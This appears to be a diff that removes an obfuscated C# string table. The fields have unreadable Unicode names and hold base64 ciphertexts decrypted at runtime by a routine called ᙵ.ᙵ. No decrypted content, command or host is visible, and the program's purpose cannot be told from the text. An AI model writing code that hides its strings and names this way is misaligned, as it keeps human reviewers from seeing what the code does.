- public static string ᣂ = global::ᙵ.ᙵ(global::ᙵ.ᣃ); - public static string ᣅ = "doOW9UMu5n2kb05mZIQasXYiUEv60Wz83btkRZHD6ys2TlHnQitFYAU3IXz/PlqljCJ+6pK9VXd/ezUus9xWyQ=="; - public static string ᣄ = global::ᙵ.ᙵ(global::ᙵ.ᣅ); - public static string ᣇ = "CtLOluB0VtUMP8/PD9MNxLhHn7K0a3wrsEAZp43CchI="; - public static string ᣆ = global::ᙵ.ᙵ(global::ᙵ.ᣇ); - public static string ᣉ = "sd3lvobuQeoXNBMCpJ0Zhg=="; - public static string ᣈ = global::ᙵ.ᙵ(global::ᙵ.ᣉ); - public static string ᣋ = "tUSxcWa0PVtuzxfrvIle185VRH/NkO9e"; - public static string ᣊ = global::ᙵ.ᙵ(global::ᙵ.ᣋ); - public static string ᣍ = "yFpFZ80zv7GOBz6KQGgvhZAiAmLJakF0j/nokNsiHco="; - public static string ᣘ = global::ᙵ.ᙵ(global::ᙵ.ᣍ); - public static string ᣏ = "Gro3H4M31oero63gfulV13hKUcVkQwMy"; - public static string ᣎ = global::ᙵ.ᙵ(global::ᙵ.ᣏ); - public static string ᣑ = "/CcjBvaoE8c8DKrMQQfP2X05wb2qpA8ZI1GirNx3t7bUOwEWgYqpFU6gnSYY6kxz"; - public static string \u18FE = global::ᙵ.ᙵ(global::ᙵ.ᣑ); - public static string ᣓ = "r0fxg7On8NLNt8chp11m1g=="; - public static string ᣒ = global::ᙵ.ᙵ(global::ᙵ.ᣓ); - public static string ᣕ = "FItZecpodc32222m6Mft2azkCWu2zFM4zwv0+wK54Clz9pv39AdTRANW69URhCj6U7+AwcpQ5HA0wwjzeLopaS1OxmzBI5IYv4Yg8JoFdizAwTlWZDxZxPbhWKi+C8BJ"; - public static string ᣔ = global::ᙵ.ᙵ(global::ᙵ.ᣕ); - public static string ᣗ = "9V8WEAxr0YgL9M8MSDFh4pc19w/xV0GaKpHnr5NwAuilRhzqeVVlRA=="; - public static string ᣖ = global::ᙵ.ᙵ(global::ᙵ.ᣗ); - public static string ᣳ = "9V8WEAxr0YgL9M8MSDFh4pc19w/xV0GaBV/cFHBe2gc="; - public static string ᣀ = global::ᙵ.ᙵ(global::ᙵ.ᣳ); - public static string ᣛ = "RfEHf41fClR+9FF+B/cPpPSxZaADRhk1"; - public static string ᣚ = global::ᙵ.ᙵ(global::ᙵ.ᣛ); - public static string ᣝ = "Yp7mXx+KjukcFQdK5Yu/VPmIli0g2jOJqUvZegi9T2s="; - public static string ᣙ = global::ᙵ.ᙵ(global::ᙵ.ᣝ); - public static string ᣟ = "N5s9CyDKlXY="; - public static string ᣞ = global::ᙵ.ᙵ(global::ᙵ.ᣟ); - public static string ᣡ = "ah3bnwh4/Wk="; - public static string ᣠ = global::ᙵ.ᙵ(global::ᙵ.ᣡ); - public static string ᣣ = "QCYBUzxpKczQWECAzo36tQ=="; - public static string ᣢ = global::ᙵ.ᙵ(global::ᙵ.ᣣ); - public static string ᣥ = "QCYBUzxpKczQWECAzo36tQ=="; - public static string ᣤ = global::ᙵ.ᙵ(global::ᙵ.ᣥ); - public static string ᣧ = "aIPn3TTLR+/ZilWJQ/1gDA=="; - public static string ᣦ = global::ᙵ.ᙵ(global::ᙵ.ᣧ); - public static string ᣩ = "aIPn3TTLR+/ZilWJQ/1gDA=="; - public static string ᣨ = global::ᙵ.ᙵ(global::ᙵ.ᣩ); - public static string ᣫ = "xqte39Zs/NQTjP5UIKrthw=="; - public static string ᣪ = global::ᙵ.ᙵ(global::ᙵ.ᣫ); - public static string ᣭ = "xqte39Zs/NQTjP5UIKrthw=="; - public static string ᣬ = global::ᙵ.ᙵ(global::ᙵ.ᣭ); - public static string ᣯ = "yFpFZ80zv7G5oTk7k6mKOg=="; - public static string ᣮ = global::ᙵ.ᙵ(global::ᙵ.ᣯ); - public static string ᣱ = "yFpFZ80zv7G5oTk7k6mKOg=="; - public static string ᣰ = global::ᙵ.ᙵ(global::ᙵ.ᣱ); - public static string \u1935 = "bpoi3PemDvzklmFKJ1j+ip7sBfBRDQwfGfkkAjIlKqZwo68GT66dLA=="; - public static string ᣲ = global::ᙵ.ᙵ(global::ᙵ.\u1935); - public static string ᤃ = "3oyqI9xr7hFXoxonYMmHeQ=="; - public static string ᤂ = global::ᙵ.ᙵ(global::ᙵ.ᤃ); - public static string ᤅ = "tUSxcWa0PVvuMfUTYGe1dR31lcw1gpSH"; - public static string ᤄ = global::ᙵ.ᙵ(global::ᙵ.ᤅ); - public static string ᤇ = "4AJYAJeu/CYBVrbJaQm1kdD+d+rn0vUSxLRKMh01bRg="; - public static string ᤆ = global::ᙵ.ᙵ(global::ᙵ.ᤇ); - public static string ᤉ = "Gro3H4M31oero63gfulV159gg8CQbnxl"; - public static string ᤈ = global::ᙵ.ᙵ(global::ᙵ.ᤉ); - public static string ᤋ = "Yp7mXx+KjukcFQdK5Yu/VPmIli0g2jOJsCmrtnijYM4="; - public static string ᤊ = global::ᙵ.ᙵ(global::ᙵ.ᤋ); - public static string ᤍ = "N5s9CyDKlXY="; - public static string ᤘ = global::ᙵ.ᙵ(global::ᙵ.ᤍ); - public static string ᤏ = "butmjbL5iPk="; - public static string ᤎ = global::ᙵ.ᙵ(global::ᙵ.ᤏ); - public static string ᤑ = "IhU2PVsLAmVbTNo/IyQ10w=="; - public static string \u193E = global::ᙵ.ᙵ(global::ᙵ.ᤑ); - public static string ᤓ = "5lMDJyyd5U0eS3aFt+JiZg=="; - public static string ᤒ = global::ᙵ.ᙵ(global::ᙵ.ᤓ); - public static string ᤕ = "aIPn3TTLR+/ZilWJQ/1gDA=="; - public static string ᤔ = global::ᙵ.ᙵ(global::ᙵ.ᤕ); - public static string ᤗ = "8dZElv6ivjh5AsE7/6qccULeUWYDtxfB"; - public static string ᤖ = global::ᙵ.ᙵ(global::ᙵ.ᤗ); - public static string \u1933 = "xqte39Zs/NQTjP5UIKrthw=="; - public static string ᤀ = global::ᙵ.ᙵ(global::ᙵ.\u1933); - public static string ᤛ = "Gxuo3gy56i7LnSrk7qsl2g=="; - public static string ᤚ = global::ᙵ.ᙵ(global::ᙵ.ᤛ); - public static string ᤝ = "XX47tlZEwswk4wdFrofaFA=="; - public static string ᤙ = global::ᙵ.ᙵ(global::ᙵ.ᤝ); - public static string \u191F = "lTP68yBC4so0huRKsDk2Ow=="; - public static string ᤞ = global::ᙵ.ᙵ(global::ᙵ.\u191F); - public static string \u1921 = "9V8WEAxr0YgmAev4dQsCyFstIdbWfCqasv9r3/X04jzmJZvvTPg7zg=="; - public static string \u1920 = global::ᙵ.ᙵ(global::ᙵ.\u1921); - public static string \u1923 = "9V8WEAxr0YgmAev4dQsCyMNSLpJtnF42"; - public static string \u1922 = global::ᙵ.ᙵ(global::ᙵ.\u1923); - public static string \u1925 = "RfEHf41fClR+9FF+B/cPpPSxZaADRhk1"; - public static string \u1924 = global::ᙵ.ᙵ(global::ᙵ.\u1925); - public static string \u1927 = "bpoi3PemDvxaZfS/jUbfkO3LvnanmlfAgF51232TW0nWzTuawx+EWw=="; - public static string \u1926 = global::ᙵ.ᙵ(global::ᙵ.\u1927); - public static string \u1929 = "3oyqI9xr7hFXoxonYMmHeQ=="; - public static string \u1928 = global::ᙵ.ᙵ(global::ᙵ.\u1929); - public static string \u192B = "tUSxcWa0PVskXcmRnfrUt4baHdN/ksea"; - public static string \u192A = global::ᙵ.ᙵ(global::ᙵ.\u192B); - public static string \u192D = "jQo8Ch2emV2G3Ms4t+pGMmBn2+lR6K7i/KGaRs4H2SNhRB9xY9tzMA=="; - public static string \u192C = global::ᙵ.ᙵ(global::ᙵ.\u192D); - public static string \u192F = "Gro3H4M31oero63gfulV17mW0TXb3sxh"; - public static string \u192E = global::ᙵ.ᙵ(global::ᙵ.\u192F); - public static string \u1931 = "/CcjBvaoE8c8DKrMQQfP2X05wb2qpA8ZI1GirNx3t7bUOwEWgYqpFU6gnSYY6kxz"; - public static string \u1930 = global::ᙵ.ᙵ(global::ᙵ.\u1931); - public static string \u1975 = "r0fxg7On8NIoiiEAuw7JEw=="; - public static string \u1932 = global::ᙵ.ᙵ(global::ᙵ.\u1975); - public static string \u1943 = "n54POj4z79X7miaKWqEs650ebFXc1T/u0HqlWMLWSwqTRwrA4j7sdTwmTrhDBkM0dErJSwtoSAPIqY5fQzoZu4Sl7fRjIrGuSC51BRS4S7gY5zFefIAaN9QzEkapwzqEZSOC8m/7iYFg9DnvUZh3wxQIWLcxYx7fhArY911V26pxFP3q4bDr/svFYWpdBGLG"; - public static string \u1942 = global::ᙵ.ᙵ(global::ᙵ.\u1943); - public static string \u1945 = "9V8WEAxr0YgUUGAQNooqrli3KG3v8uZfTTfVl80kgrY0SxFpb4Vqy2vC9A1bF6KL"; - public static string \u1944 = global::ᙵ.ᙵ(global::ᙵ.\u1945); - public static string \u1947 = "9V8WEAxr0YgUUGAQNooqrli3KG3v8uZfpCfRlPpuZs8="; - public static string \u1946 = global::ᙵ.ᙵ(global::ᙵ.\u1947); - public static string \u1949 = "RfEHf41fClR+9FF+B/cPpPSxZaADRhk1"; - public static string \u1948 = global::ᙵ.ᙵ(global::ᙵ.\u1949); - public static string \u194B = "Yp7mXx+KjukcFQdK5Yu/VPmIli0g2jOJxl21cDhbjoo="; - public static string \u194A = global::ᙵ.ᙵ(global::ᙵ.\u194B); - public static string \u194D = "N5s9CyDKlXY="; - public static string ᥘ = global::ᙵ.ᙵ(global::ᙵ.\u194D); - public static string \u194F = "Yp7mXx+KjukcFQdK5Yu/VPmIli0g2jOJkREYHrIbpbIPxbd+csKzLaDcqwwPM/fSc1C6E3QHr/4="; - public static string \u194E = global::ᙵ.ᙵ(global::ᙵ.\u194F); - public static string ᥑ = "XX47tlZEwswk4wdFrofaFA=="; - public static string \u197E = global::ᙵ.ᙵ(global::ᙵ.ᥑ); - public static string ᥓ = "Yp7mXx+KjukcFQdK5Yu/VPmIli0g2jOJkREYHrIbpbIPxbd+csKzLaDcqwwPM/fSdajoM663Rpg="; - public static string ᥒ = global::ᙵ.ᙵ(global::ᙵ.ᥓ); - public static string ᥕ = "xqte39Zs/NQTjP5UIKrthw=="; - public static string ᥔ = global::ᙵ.ᙵ(global::ᙵ.ᥕ); - public static string ᥗ = "Yp7mXx+KjukcFQdK5Yu/VPmIli0g2jOJkREYHrIbpbIPxbd+csKzLaDcqwwPM/fSh6uS+WGoosY="; - public static string ᥖ = global::ᙵ.ᙵ(global::ᙵ.ᥗ); - public static string ᥳ = "+K0BJIvrNA1KjxEyXlH1v16YkTfqrx8Y"; - public static string \u1940 = global::ᙵ.ᙵ(global::ᙵ.ᥳ); - public static string ᥛ = "Yp7mXx+KjukcFQdK5Yu/VPmIli0g2jOJkREYHrIbpbIPxbd+csKzLaDcqwwPM/fSBmiQL6R+tj4="; - public static string ᥚ = global::ᙵ.ᙵ(global::ᙵ.ᥛ); - public static string ᥝ = "M69wercLuiDbGWu9cuWYPSKB6NFlE3Nr"; - public static string ᥙ = global::ᙵ.ᙵ(global::ᙵ.ᥝ); - public static string ᥟ = "U65UwY/02kaWM26A2rU0myYvrvzBzIVM"; - public static string ᥞ = global::ᙵ.ᙵ(global::ᙵ.ᥟ); - public static string ᥡ = "tUSxcWa0PVs36VWl+40MIH1jOZWyiAWp"; - public static string ᥠ = global::ᙵ.ᙵ(global::ᙵ.ᥡ); - public static string ᥣ = "+K0BJIvrNA1KjxEyXlH1v7HKahCrD245f8giAIjW9a0KwAExYK+VgA=="; - public static string ᥢ = global::ᙵ.ᙵ(global::ᙵ.ᥣ); - public static string ᥥ = "Gro3H4M31oero63gfulV17bHTGzkNn/O"; - public static string ᥤ = global::ᙵ.ᙵ(global::ᙵ.ᥥ); - public static string ᥧ = "KSddDkJIxM2KSGfcxjDVYS9HpyxQSVgM"; - public static string ᥦ = global::ᙵ.ᙵ(global::ᙵ.ᥧ); - public static string ᥩ = "4cCbwB3qcwDiMiYqBxcyti+ze62F3eKAembSi/7H9IU="; - public static string ᥨ = global::ᙵ.ᙵ(global::ᙵ.ᥩ); - public static string ᥫ = "r0fxg7On8NJepOD6l5CwlQ=="; - public static string ᥪ = global::ᙵ.ᙵ(global::ᙵ.ᥫ); - public static string ᥭ = "+K0BJIvrNA1KjxEyXlH1vxuP70G1ifeXmsnHj6ohq46cUMNIe13mY8jF5V+gFUHrOb5vtgSwZzAzDiBeUtK/pZoIxz+W+cPw6WA5FMz2NanlyqVz3FMZI5D0ljpKxS0oNFM4YDspONwftn5PgXcgsWmBUiQVI8pMsLRf5AowD6kzk5Rkv7UyKyim7lhXvO4BGJJhxbT0yS0="; - public static string ᥬ = global::ᙵ.ᙵ(global::ᙵ.ᥭ); - public static string \u196F = "r0fxg7On8NKBcNsLxhFySw=="; - public static string \u196E = global::ᙵ.ᙵ(global::ᙵ.\u196F); - public static string ᥱ = "aMUYPuFFO2qYbiJ1TDJxtkd66k0lzH5tRMOvbwczbwCmMdjOVyQrUQ=="; - public static string ᥰ = global::ᙵ.ᙵ(global::ᙵ.ᥱ); - public static string ᙵᙂ = "r0fxg7On8NJlRRi1iOd8BA=="; - public static string ᥲ = global::ᙵ.ᙵ(global::ᙵ.ᙵᙂ); - public static string ᙃᙂ = "+K0BJIvrNA1KjxEyXlH1v16YkTfqrx8Y"; - public static string ᙂᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙃᙂ); - public static string ᙅᙂ = "Vo1HfrMjMf0Z5iuDfnS7TQ=="; - public static string ᙄᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙅᙂ); - public static string ᙇᙂ = "y37gy0C7+AAGbBJsWBhladpbcYsCTgVV3IMrl9u+wvv3PN0pE4/MdfDU3k7fSamLzwc2syHFE1bvtounTjcD1A=="; - public static string ᙆᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙇᙂ); - public static string ᙉᙂ = "Vo1HfrMjMf0IPgmu430Eug=="; - public static string ᙈᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙉᙂ); - public static string ᙋᙂ = "y37gy0C7+AAGbBJsWBhladpbcYsCTgVV3IMrl9u+wvv3PN0pE4/MdfDU3k7fSamLzwc2syHFE1bvtounTjcD1A=="; - public static string ᙊᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙋᙂ); - public static string ᙍᙂ = "CtLOluB0VtVk8uTOug7uP4V9Tzvtns8+"; - public static string ᙘᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙍᙂ); - public static string ᙏᙂ = "sd3lvobuQeoXNBMCpJ0Zhg=="; - public static string ᙎᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙏᙂ); - public static string ᙑᙂ = "tUSxcWa0PVugtG+1AGIDdf5fr5RRPREd"; - public static string ᙾᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙑᙂ); - public static string ᙓᙂ = "J0hkSSM9BJW0BpMd297QFrOirvIXFPiQ25tWxGOS2NJSUTuRgdJI5dxuBXn9Dz+t"; - public static string ᙒᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙓᙂ); - public static string ᙕᙂ = "fMGzNNu/rOMt8nDQIe7sS+rvq3o3CV5K"; - public static string ᙔᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙕᙂ); - public static string ᙗᙂ = "i37KpV/TmzZwtCMcPBme85kyxyvPVwSZC26N3gZ6mvA="; - public static string ᙖᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙗᙂ); - public static string ᙳᙂ = "0Kvi49WbDYjJbeiMbce+KroPyytJYuVh"; - public static string ᙀᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙳᙂ); - public static string ᙛᙂ = "DDLesE8MrRkShU0UWYeVeyA8Ar+OkBrS4XG6Sc49Hj20U5ocZzsYiA=="; - public static string ᙚᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙛᙂ); - public static string ᙝᙂ = "KSddDkJIxM2KSGfcxjDVYS94JbpvBjG6"; - public static string ᙙᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙝᙂ); - public static string ᙟᙂ = "KSddDkJIxM2KSGfcxjDVYTYPJIJU+iGW"; - public static string ᙞᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙟᙂ); - public static string ᙡᙂ = "JtzT1hTxy2HPWM82f8vTgYBB5f5s4WWq8fLpKlrkA4k="; - public static string ᙠᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙡᙂ); - public static string ᙣᙂ = "jOYHFf1wWaUJVQ4EjtPnaz3RAIq0BnT0nvYnJe0mUYJLc5Ww7oi366c0mD/Ll3Bk6CBAqUkyjqa1XXVzgBmfrg=="; - public static string ᙢᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙣᙂ); - public static string ᙥᙂ = "r0fxg7On8NLvicj//twmlg=="; - public static string ᙤᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙥᙂ); - public static string ᙧᙂ = "HL3jmB7u2c2f0RCt5R6tI8FwU9P8YCGd5iuntYC+KTTfRuaWfj39ApDICpC5AhVdKtpxQ90GRtsy0XQ3F+88hohpIINIHimlK+xQgvt7sIQh6tRfqkMkXQ=="; - public static string ᙦᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙧᙂ); - public static string ᙩᙂ = "/CcjBvaoE8c8DKrMQQfP2X05wb2qpA8ZI1GirNx3t7bUOwEWgYqpFU6gnSYY6kxz"; - public static string ᙨᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙩᙂ); - public static string ᙫᙂ = "r0fxg7On8NI0Yeb/CKFJRw=="; - public static string ᙪᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙫᙂ); - public static string \u166Dᙂ = "xsYZL+e+kbUCiRz5pMgYliRMlutfWH0Bkg+3zJ2R3b06KW6nOMYsIS2CFve6aP2voByTs3lVXbH74SRAhJF1kxsnNi45WhK/pZ9KO9obPySX5tfXJ4ozUYBpDsiF9cVgVI1jg8cmYFsIKiSDsk62DxoyUmAx4Oex0dLYHLa4lT6dIBPACGoJnMmJLdBwFwPCybHUZyLhjWOw8q8mhhLlDcaguiDv4LB9w8gU1Y73nZkv9maaCGsGBJPSPu/xli58Ten0ucXvIcezpbL3RO7mnfyMawfO/Uw7WGGL/HvMojK7grqIjmkWHhdN84vkouuJBrcbo+TQTSBoUuR+jym/GPdnlH1V90tmU4FTxGP5z9a3a5TU+dv5SPGaCWV15zmLwxqCEAB07z8vwMbviBa6mg=="; - public static string ᙬᙂ = global::ᙵ.ᙵ(global::ᙵ.\u166Dᙂ); - public static string ᙯᙂ = "JtzT1hTxy2HPWM82f8vTgYBB5f5s4WWqTprKmNi4t2A="; - public static string \u166Eᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙯᙂ); - public static string ᙱᙂ = "jOYHFf1wWaUJVQ4EjtPnaz3RAIq0BnT0roiPHe3bNOejCfLtVIpiwuCltUOu61pnBiTlaaWE8MYZRNGF9q2x0Q=="; - public static string ᙰᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙱᙂ); - public static string \u1775ᙂ = "r0fxg7On8NI2LEDRJMJFsw=="; - public static string ᙲᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1775ᙂ); - public static string ᝃᙂ = "TCJl2x3pxy2fljx5aIgzg+V4D6DI2+V+Iw2ul1lO9sQUMRGRajbif5f7LPPACR0n2PsGC4uxvr+ivpBrBZIr3X3z2jsGhBrYuVGsWjlCL2JdI3SPGO+ivA=="; - public static string ᝂᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝃᙂ); - public static string ᝅᙂ = "JtzT1hTxy2HPWM82f8vTgYBB5f5s4WWqSejNitqcnkk="; - public static string ᝄᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝅᙂ); - public static string ᝇᙂ = "srf1kADNeTTU0eiWKwTRzvCAvjISZy122XC5oKnrz/IXn7LL8MnMtA=="; - public static string ᝆᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝇᙂ); - public static string ᝉᙂ = "+K0BJIvrNA2TcyJFemImt548hVAsNgVm"; - public static string ᝈᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝉᙂ); - public static string ᝋᙂ = "AXacs+3RLN+SXqN3+PzGmMnqlxAJQYCCqJTQw+gFdFo="; - public static string ᝊᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝋᙂ); - public static string ᝍᙂ = "G5gy4P5SkA4iZq2znNO5naPALDahFlFH"; - public static string \u1758ᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝍᙂ); - public static string ᝏᙂ = "M5MyIhzYpnIvJvFyawQeTM+h5PbzKnthCMnUGmH40WbPJ8ToM1NzXIQzSB53kYcd43G1UQO+GLKhFp/SrBcpJApNVvo/85zf1+xt126MrbVIpMdfz4cVhAiv6w/qgM/012ycXnLkl1aH+YB2gstkqOM3VmuMk8vA"; - public static string ᝎᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝏᙂ); - public static string ᝑᙂ = "4hrJQXUt8K9uW/rcj6Y36GCg3o/UAxX0Tq1rTtw7Xms="; - public static string \u177Eᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝑᙂ); - public static string \u1753ᙂ = "sd3lvobuQeoXNBMCpJ0Zhg=="; - public static string \u1752ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1753ᙂ); - public static string \u1755ᙂ = "0Kvi49WbDYjJbeiMbce+KuNfEg9abfyG"; - public static string \u1754ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1755ᙂ); - public static string \u1757ᙂ = "7+3U9XMrla2jlrHtCC4hmLiIGHWX+cdtTBCZL40xxaSVS06hDCp9VA=="; - public static string \u1756ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1757ᙂ); - public static string \u1773ᙂ = "fMGzNNu/rOMFHxShw7w7Pg=="; - public static string ᝀᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1773ᙂ); - public static string \u175Bᙂ = "XV40Plyg4rS4rIg/lEGpq4IjDy+ElT0uUsYKlHqX7TY="; - public static string \u175Aᙂ = global::ᙵ.ᙵ(global::ᙵ.\u175Bᙂ); - public static string \u175Dᙂ = "sd3lvobuQeoXNBMCpJ0Zhg=="; - public static string \u1759ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u175Dᙂ); - public static string \u175Fᙂ = "xWZyMlGurI5kiRu/2ggdOj5otmlabR753sTPiImNzA4KTTC+YSdKaUNA6IEBFCWH2Oz4F2VAt+E="; - public static string \u175Eᙂ = global::ᙵ.ᙵ(global::ᙵ.\u175Fᙂ); - public static string ᝡᙂ = "+F9g+idmJCiHVy7Hubc9hhipV66cRPLpZeJ3Del3Boo="; - public static string ᝠᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝡᙂ); - public static string ᝣᙂ = "Vk3FQyZPvmKOQWZd2q+EaQ=="; - public static string ᝢᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝣᙂ); - public static string ᝥᙂ = "yFpFZ80zv7ExD8Pok4j/MQ=="; - public static string ᝤᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝥᙂ); - public static string ᝧᙂ = "+F9g+idmJChxrA11lpv4yPA9B0EBrqzxEh8wWnEjXZ3xqtp8gA/Lwa1RjASJwIRY3un3oJH+a94="; - public static string ᝦᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝧᙂ); - public static string ᝩᙂ = "C+nxdZyqzkjn2Bjv3cghWI9Q3UGPakPf"; - public static string ᝨᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝩᙂ); - public static string ᝫᙂ = "/CcjBvaoE8c8DKrMQQfP2X05wb2qpA8ZI1GirNx3t7bUOwEWgYqpFU6gnSYY6kxz"; - public static string ᝪᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝫᙂ); - public static string \u176Dᙂ = "0Kvi49WbDYjJbeiMbce+KhUDpZOoCicB"; - public static string ᝬᙂ = global::ᙵ.ᙵ(global::ᙵ.\u176Dᙂ); - public static string ᝯᙂ = "X+6yH2GwlWqXX15643/cpw=="; - public static string ᝮᙂ = global::ᙵ.ᙵ(global::ᙵ.ᝯᙂ); - public static string \u1771ᙂ = "xWZyMlGurI5kiRu/2ggdOuS1L750QnDTTzPjwLzyEjbTnTSUO1o5hw=="; - public static string ᝰᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1771ᙂ); - public static string \u17B5ᙂ = "9s9ae8I3DF5Uux6asdpMIXfrgQCuc4PwTTz75tLXgsYw3udXGPdRg6mjbuYKPNMl"; - public static string \u1772ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17B5ᙂ); - public static string ឃᙂ = "xWZyMlGurI5kiRu/2ggdOvT4V3v7BfeARHz9XhtXqZF9n7cb/bfsgg=="; - public static string គᙂ = global::ᙵ.ᙵ(global::ᙵ.ឃᙂ); - public static string ចᙂ = "6y8Xs2oEwjG/gMW1OUve48O7fXedpjD8373b2xO9pmy6/0toJJ0Y0drfyVoSr1ghTqpFik6abm4="; - public static string ងᙂ = global::ᙵ.ᙵ(global::ᙵ.ចᙂ); - public static string ជᙂ = "/CcjBvaoE8c8DKrMQQfP2X05wb2qpA8ZI1GirNx3t7bUOwEWgYqpFU6gnSYY6kxz"; - public static string ឆᙂ = global::ᙵ.ᙵ(global::ᙵ.ជᙂ); - public static string ញᙂ = "r0fxg7On8NJEdeDSx1S8cQ=="; - public static string ឈᙂ = global::ᙵ.ᙵ(global::ᙵ.ញᙂ); - public static string ឋᙂ = "1PqN+/+XVNU3kRFWBVljGQfogbAS7XQh"; - public static string ដᙂ = global::ᙵ.ᙵ(global::ᙵ.ឋᙂ); - public static string ឍᙂ = "/CcjBvaoE8c8DKrMQQfP2X05wb2qpA8ZI1GirNx3t7bUOwEWgYqpFU6gnSYY6kxz"; - public static string មᙂ = global::ᙵ.ᙵ(global::ᙵ.ឍᙂ); - public static string តᙂ = "r0fxg7On8NJavEOrTI4ixw=="; - public static string ណᙂ = global::ᙵ.ᙵ(global::ᙵ.តᙂ); - public static string ទᙂ = "1PqN+/+XVNU3kRFWBVljGQfogbAS7XQh"; - public static string \u17BEᙂ = global::ᙵ.ᙵ(global::ᙵ.ទᙂ); - public static string នᙂ = "sYIzOIU11N2f9Z/OgUnr4slAXMPkcMqP"; - public static string ធᙂ = global::ᙵ.ᙵ(global::ᙵ.នᙂ); - public static string ផᙂ = "sYIzOIU11N2f9Z/OgUnr4slAXMPkcMqP"; - public static string បᙂ = global::ᙵ.ᙵ(global::ᙵ.ផᙂ); - public static string ភᙂ = "4fCsfMDF9zbuddQMgKmsxYTlqQIPuOXl"; - public static string ពᙂ = global::ᙵ.ᙵ(global::ᙵ.ភᙂ); - public static string ឳᙂ = "sYIzOIU11N2f9Z/OgUnr4hUtNiqj9htI0XpUP6ucQ85csMq7TVaw1NlePj/RxRXzCMMtGELfpVM2WoTvXIhR1A=="; - public static string កᙂ = global::ᙵ.ᙵ(global::ᙵ.ឳᙂ); - public static string លᙂ = "sYIzOIU11N2f9Z/OgUnr4hUtNiqj9htI0XpUP6ucQ85csMq7TVaw1NlePj/RxRXzfk5+xWFZpV8="; - public static string រᙂ = global::ᙵ.ᙵ(global::ᙵ.លᙂ); - public static string ឝᙂ = "UnTPnG233sDrH3MXQz5E3A=="; - public static string យᙂ = global::ᙵ.ᙵ(global::ᙵ.ឝᙂ); - public static string សᙂ = "1fr9lGaZVXU18l2Xif1tfU+07xiDE/Q2HM/7CU+UBpg="; - public static string ឞᙂ = global::ᙵ.ᙵ(global::ᙵ.សᙂ); - public static string ឡᙂ = "wLwyq3AOdRe53ZlRf257Rw=="; - public static string ហᙂ = global::ᙵ.ᙵ(global::ᙵ.ឡᙂ); - public static string ឣᙂ = "G5gy4P5SkA6OTgXksKkR2fSIzN162YCPKLCxzOPmkl4="; - public static string អᙂ = global::ᙵ.ᙵ(global::ᙵ.ឣᙂ); - public static string ឥᙂ = "V8qRBSwg+SK7K7M9m/DyudJOlM0eWnuO7XN3ztlg2xTzTc7Arzmm0A=="; - public static string ឤᙂ = global::ᙵ.ᙵ(global::ᙵ.ឥᙂ); - public static string ឧᙂ = "sYIzOIU11N2f9Z/OgUnr4ufc7nEHQZw1p3Rcl6cqi3XnzbzfJMz7yA=="; - public static string ឦᙂ = global::ᙵ.ᙵ(global::ᙵ.ឧᙂ); - public static string ឩᙂ = "UX1Pq2cgsKM/7FgJ0p2kfrtpmhx3KrEG"; - public static string ឨᙂ = global::ᙵ.ᙵ(global::ᙵ.ឩᙂ); - public static string ឫᙂ = "xO5DzMPCaBiy9NeoIaQESIRDJpHfQBM3NZl+Ef92hC+5qmcM/L2qxg=="; - public static string ឪᙂ = global::ᙵ.ᙵ(global::ᙵ.ឫᙂ); - public static string ឭᙂ = "+pyuC8KQjX3KMrmaVG+dLK4AkacUPW9S"; - public static string ឬᙂ = global::ᙵ.ᙵ(global::ᙵ.ឭᙂ); - public static string ឯᙂ = "sYIzOIU11N2f9Z/OgUnr4sStJGc6UUIKTxUK6P/F3Qkgb5O2A2y3gQ=="; - public static string ឮᙂ = global::ᙵ.ᙵ(global::ᙵ.ឯᙂ); - public static string ឱᙂ = "sYIzOIU11N2f9Z/OgUnr4hUtNiqj9htI0XpUP6ucQ85csMq7TVaw1Hrki8AOkPBbcHxdLJFpn+D14o5GSXHCUQ=="; - public static string ឰᙂ = global::ᙵ.ᙵ(global::ᙵ.ឱᙂ); - public static string \u17F5ᙂ = "sYIzOIU11N2f9Z/OgUnr4hUtNiqj9htI0XpUP6ucQ85csMq7TVaw1Hrki8AOkPBb69M7qxplyaY="; - public static string ឲᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17F5ᙂ); - public static string \u17C3ᙂ = "91CGgtEqsHgySUK6VJz8mw=="; - public static string \u17C2ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17C3ᙂ); - 